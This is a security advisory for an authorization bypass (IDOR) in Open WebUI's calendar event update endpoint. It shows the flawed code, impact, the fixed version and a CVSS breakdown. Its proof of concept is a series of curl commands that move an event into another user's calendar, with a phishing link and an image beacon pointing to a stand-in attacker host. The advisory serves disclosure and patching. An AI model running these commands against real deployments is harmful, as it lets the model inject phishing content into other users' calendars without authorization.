Skip to content

GHSA-f3g7-59qc-pqg6 CVE-2026-54006 PYSEC-2026-2722

Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar

Medium PyPI
Severity
4.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.30%
Chance of exploitation in the next 30 days. Higher than 22.65% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
Fix
0.9.6
Upgrade open-webui to this version or later

Description

Summary

POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.

A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.

Details

Sink — missing destination check

backend/open_webui/routers/calendar.py:283-297

@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
    request: Request, event_id: str, form_data: CalendarEventUpdateForm,
    user: UserModel = Depends(get_verified_user)
):
    await check_calendar_permission(request, user)
    event = await CalendarEvents.get_event_by_id(event_id)
    if not event:
        raise HTTPException(status_code=404, detail='Event not found')

    await _check_calendar_access(event.calendar_id, user, 'write')   # ← SOURCE only

    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # ← writes form_data.calendar_id
    ...

backend/open_webui/models/calendar.py:658-693 (update_event_by_id)

update_data = form_data.model_dump(exclude_unset=True)
for field in [
    'calendar_id',          # ← destination persisted with no ACL
    'title', 'description', 'start_at', 'end_at', 'all_day',
    'rrule', 'color', 'location', 'is_cancelled',
]:
    if field in update_data:
        setattr(event, field, update_data[field])

Reference — create_event does check the destination

backend/open_webui/routers/calendar.py:255

await _check_calendar_access(form_data.calendar_id, user, 'write')

Default-config gates (both True)

  • backend/open_webui/config.py:1658-1662 — ENABLE_CALENDAR defaults 'True'
  • backend/open_webui/config.py:1554 — USER_PERMISSIONS_FEATURES_CALENDAR defaults 'True'
  • backend/open_webui/main.py:1457 — router mounted unconditionally

PoC

Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.

1. Environment

git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d        # http://localhost:3000

Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.

2. Obtain the victim's calendar_id

Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:

  • Read-only share — victim (or a group admin) grants the attacker read on a calendar; the ID is returned by GET /api/v1/calendars/.
  • Event invitation — victim adds the attacker as an attendee on any event; the event payload (CalendarEventModel, models/calendar.py:127) includes calendar_id.
  • Any side-channel (logs, screenshots, browser history).

For reproduction the maintainer can simply read it as the victim:

VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

3. Control — direct create is correctly blocked

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403

4. Exploit — create-then-reparent

ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"

5. Verification from victim's session

curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool

Observed output (truncated):

[{
  "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
  "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
  "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
  "title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
  "description": "Session expired.",
  ...
}]

The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.

Impact

  • Read-only → write escalation on shared calendars: a user granted read via AccessGrants can effectively write.
  • Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (CalendarEventChip.svelte:12 → common/Tooltip.svelte) renders title/location as DOMPurify-sanitised HTML with allowHTML=true, so an attacker can embed formatted links and <img> beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.
  • Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).

Affected versions

PyPI

PackageVulnerableFixed in
open-webui
< 0.9.6
0.9.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webui PyPI → 0.9.6

pip
pip install --upgrade "open-webui>=0.9.6"
poetry
poetry add "open-webui>=0.9.6"
uv
uv add "open-webui>=0.9.6"

Severity breakdown

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor